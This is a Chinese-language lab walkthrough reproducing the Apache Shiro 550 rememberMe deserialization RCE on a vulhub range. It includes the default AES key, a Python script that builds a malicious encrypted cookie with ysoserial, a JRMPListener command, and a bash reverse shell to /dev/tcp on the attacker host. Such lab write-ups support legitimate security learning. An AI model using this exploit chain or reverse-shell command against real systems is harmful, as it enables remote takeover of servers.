0. 前言
此篇文章记录了一次shiro550的漏洞复现过程,由于本人是网安新人菜鸟,复现过程比较坎坷,主要是为了防止自己忘记,文章环境适用面不一定广,如文章有误,烦请各位师傅指正,有需要文章所用工具的小伙伴可以私信我。
1. 初识shiro
Apache Shiro框架是一个功能强大且易于使用的 Java 安全框架,它执行身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API,您可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。
2. shiro漏洞介绍
2.1 基础原理
Apache Shiro框架在登陆页面提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞,此外,shiro漏洞也属于护网常见漏洞,在面试中等也经常出现。
2.2 shiro特征
1.未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
2.登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
3.不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
4.勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
2.3 shiro漏洞指纹
在请求包的Cookie中为rememberMe字段赋任意值,返回包中存在set-Cookie:remeberMe=deleteMe
URL中有shiro字样
有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可
3. 靶场搭建
此处我使用的攻击机是win10 192.168.0.100
靶机则是kali 192.168.28.144
靶场使用的vulhub,链接:https://github.com/vulhub/vulhub,具体使用可看https://vulhub.org/官网的文档
本机下载解压完成后拖入kali,找到漏洞所在文件夹打开终端
sudo docker-compose up -d
vul靶场的使用需要docker和docker-compose,kali新机安装完是没有该服务的,输入docker提示无此服务的话按照提示安装一下
docker
sudo apt install docker.io
此处我已经安装完成过开启了,第一次会有一个安装目录
浏览器访问靶场
4.漏洞利用
4.1 探测指纹
brupsuite抓包进行查看,发现返回包cookie中有rememberme值
4.2 密钥爆破
shiro1.2.4之前版本中使用的是硬编码,AES加密的密钥默认在代码里。其默认密钥的base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==,此处还是进行一次爆破进行验证,使用工具是Shiro_exploit,链接:https://github.com/insightglacier/Shiro_exploit
使用需要配置Java和python的环境,大家自己百度下安装
文件夹中使用的ysoserial是一个常见的集成了大量反序列化漏洞的利用工具,利用了maven生成jar包,本来我是想通过下载ysoserial源码然后kali使用maven生成jar包的,奈何kali的Java环境配置一直有问题,所以找到这个Shiro_exploit,自带jar包,在本机上使用。网上有非常多的shiro利用工具,大家可以自行选择
ysoserial源码链接也放这里~:https://github.com/frohoff/ysoserial
打开文件所在目录,cmd运行python
python shiro_exploit.py -u http://192.168.28.144:8080/doLogin
成功爆破
4.3 端口监听
使用netcat监听反弹shell,netcat大家官网自己下载下
文件夹下cmd,此处使用9999端口作为反弹端口
4.4 payload生成
此处是加密代码
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
如果不是550漏洞或者其他环境,代码中的key值要更换
此外,python中要加入pycryptodome模块,cmd命令添加
pip install pycryptodome
将脚本和jar包放在一个文件夹下进行加密包装
python shiro.py vps_ip:11111
生成成功
反弹命令需要base64编码,网上有在线网站可以转换:https://ares-x.com/tools/runtime-exec
bash -i >& /dev/tcp/192.168.0.100/9999 0>&1
加密后使用ysoserial中的JRMPClient模块开始监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11111 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAwLzk5OTmgMD4mMQ==}|{base64,-d}|{bash,-i}"
其中的11111是监听端口,包装端口和监听端口要一致
现在万事俱备
4.5 注入
brupsuite抓包 ,并将生成的恶意cookie写入
写入cookie
第一次复现时成功了,但是写文章时候不知道是端口占用还是什么问题,再做一遍时候没有回显,懒得搞了,找了一张成功的示意图放在这,出现如图所示就是成功了
出现如图所示便是成功了
完成后记得关闭靶场